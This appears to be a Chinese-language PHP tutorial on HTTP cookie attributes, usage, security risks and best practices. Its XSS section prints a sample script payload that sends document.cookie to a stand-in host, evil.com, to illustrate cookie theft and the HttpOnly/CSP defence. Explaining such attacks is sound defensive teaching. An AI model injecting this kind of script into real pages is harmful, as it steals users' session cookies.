Cookie 是 HTTP 協議的擴展,允許服務器在客戶端 (瀏覽器) 存儲少量數據 (≤ 4KB/個),後續請求自動攜帶。由 Netscape 首創,現為 RFC 6265 標準。
| 屬性 | 說明 | 安全建議 |
Name=Value | 鍵值對,值需 URL 編碼 | 勿存敏感數據 (明文傳輸) |
Expires / Max-Age | 過期時間 (GMT 格式) / 秒數。無則為會話級 Cookie (關閉瀏覽器刪除) | 敏感操作用短期 Max-Age |
Domain | 生效域名。默認設置域,可設置父域 (如 .example.com 覆蓋 www.example.com) | 最小權限原則,勿設 .com |
Path | 生效路徑前綴。默認當前路徑 | 通常設為 / |
Secure | 僅 HTTPS 傳輸 | 生產必開 |
HttpOnly | 禁止 JS 讀取 (document.cookie 不可見) | 防 XSS 必開 |
SameSite | 跨站請求攜帶策略:Strict / Lax / None | 防 CSRF 首選,推薦 Lax |
PHP 操作 Cookie
設置 (必須在輸出前)
<?php
// 基礎
setcookie('user', 'john', [
'expires' => time() + 3600,
'path' => '/',
'domain' => '.example.com',
'secure' => true, // 僅 HTTPS
'httponly' => true, // 防 XSS
'samesite' => 'Lax', // 防 CSRF
]);
// 刪除:設置過去時間
setcookie('user', '', ['expires' => time() - 3600, 'path' => '/']);
// 陣列 Cookie (PHP 自動序列化為 user[a]=1&user[b]=2)
setcookie('prefs', ['theme' => 'dark', 'lang' => 'zh']);
?>
讀取
<?php
$_COOKIE['user']; // 'john'
$_COOKIE['prefs']['theme']; // 'dark' (自動解析)
?>
安全風險與防禦
1. XSS 竊取 Cookie
- 攻擊者注入 JS:
<script>fetch('//evil.com/?c=' + document.cookie)</script>
- 防禦:HttpOnly + CSP (Content-Security-Policy)。
2. CSRF (跨站請求偽造)
- 受害者登錄銀行 → 訪問惡意頁 → 自動發送轉賬請求 (攜帶 Cookie)。
- 防禦:SameSite=Lax/Strict + CSRF Token 雙重保險。
3. Session Fixation / 劫持
- 攻擊者固定 Session ID 誘導受害者登錄。
- 防禦:登錄後
session_regenerate_id(true)、Cookie 綁定 IP/User-Agent (權衡體驗)。
現代替代方案
| 方案 | 存儲位置 | 容量 | 自動攜帶 | 適用場景 |
| Cookie | 瀏覽器 | 4KB | 是 | 身份標識 (Session ID)、偏好設定、追蹤 |
| localStorage | 瀏覽器 | 5MB | 否 (JS 手動) | 客戶端緩存、離線數據 |
| sessionStorage | 瀏覽器 (標籤頁) | 5MB | 否 | 臨時表單數據 |
| IndexedDB | 瀏覽器 | 數百 MB | 否 | 大量結構化數據 |
| JWT (Header) | 客戶端內存 | ~8KB | 手動 (Authorization) | 無狀態認證、微服務 |
最佳實踐清單
- 敏感數據不進 Cookie:Session ID、Token 存 HttpOnly Cookie;業務數據存 Server Session/Redis/JWT。
- 全站 HTTPS + Secure + HttpOnly + SameSite=Lax 為基準配置。
- 域/路徑最小化:
domain=.example.com 僅在需要子域共享時使用。
- 定期輪換 Session ID:登錄、權限變更、定時任務。
- GDPR/合規:明確告知 Cookie 用途、提供拒絕非必要 Cookie 選項。
總結
Cookie 是 HTTP 有狀態的基石。理解 Set-Cookie 屬性矩陣 (Secure/HttpOnly/SameSite)、掌握 XSS/CSRF 防禦組合拳、根據業務選擇 Cookie vs localStorage vs JWT,是合格後端/全棧工程師的必修功課。
- 上一篇文章: addslashes vs mysql_real_escape_string:SQL 注入防禦的正確姿勢
- 下一篇文章: PHP 多維陣列多欄位排序:array_multisort 實戰指南
Copyright ©
程式碼之家 All Rights Reserved